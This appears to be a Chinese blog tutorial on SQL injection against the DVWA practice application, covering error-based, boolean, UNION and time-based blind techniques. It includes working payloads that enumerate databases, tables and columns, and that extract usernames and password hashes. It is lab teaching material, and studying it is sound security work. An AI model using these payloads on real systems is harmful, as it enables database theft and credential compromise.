SQL注入
SQL注入流程
1. 判断是否有SQL注入漏洞;
2. 判断操作系统、数据库和web应用的类型;
3. 获取数据库信息,包括管理员信息及拖库;
4. 加密信息破解,sqlmap可自动破解;
5. 提升权限,获得sql-shell、os-shell、登录应用后台;
几种注入:
1.基于错误的注入
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。
2.基于布尔的注入
布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;
'or 1=1 -- '
相当于 select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '
mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '
-> ;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
| Gordon | Brown |
| Hack | Me |
| Pablo | Picasso |
| Bob | Smith |
| user | user |
+------------+-----------+
6 rows in set (0.00 sec)
mysql>
说明:
第一个' 用于闭合前面的条件
or 1=1 为真的条件
-- 将注释后面的所有语句
3.基于UNION注入
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。
//猜测数据列数
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''
//获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database() -- '
mysql> select first_name,last_name from dvwa.users where user_id=''union select version(),
database() -- ''
mysql> select first_name,last_name from dvwa.users where user_id=''union select user(),
database() -- ''
说明:
version() 获得数据库版本信息
database() 获得当前数据库名
user() 获得当前用户名
//查询数据库中所有表
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
SQL注入语句解析:
mysql> select * from information_schema.TABLES\G
3.1接下来先从INFORMATION_SCHEMA.tables表查询
//查询所有库名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
这里是普通用户所以只能查到information_schema 和 本身的dvwa库
mysql> select first_name,last_name from dvwa.users where user_id=''union select TABLE_SCHEMA, 1
from INFORMATION_SCHEMA.tables -- ''
//查看所库中所有表名
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id=''union select table_name,1
from INFORMATION_SCHEMA.tables -- ''
//同时查询表名及对应库名
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id=''union select TABLE_SCHEMA,
table_name from INFORMATION_SCHEMA.tables -- ''
3.2上面查出了dvwa的相关库,和表,接下来查dvwa的表的列名,从INFORMATION_SCHEMA.columns中查:
//原始语句
mysql> select first_name,last_name from dvwa.users where user_id='$id'
//查询数据表(查询了INFORMATION_SCHEMA.columns 里面表名是users的列名)
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
这里where后只指定了表名,没有指定库名,是因为在web上查时就是普通用户,它默认就查的是自己库dvwa下的表users的列名
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id=''union select 1, column_name
from INFORMATION_SCHEMA.columns where table_name='users' -- ''
上面查出了users的列名,下面查询数据列
//查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user) from users -- ' #concat把union后面的三个字段凑到一起,加上password就是两个字段,和union前的字段的数量保持一致
SQL注入语句解析:
mysql> use dvwa;
mysql> select first_name,last_name from dvwa.users where user_id=''union select password,
concat(first_name,' ',last_name,' ',user) from users -- ''
4.基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点(例如像1的错误注入输入' 提交没有报错),此时,通过设置sleep语句来探测注入点。
1' and sleep(10) -- ' and前面得跟个真条件,1是存在的
提交后一直转圈10s才会提交成功,证明存在注入点
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 一文读懂知识蒸馏
· 终于写完轮子一部分:tcp代理 了,记录一下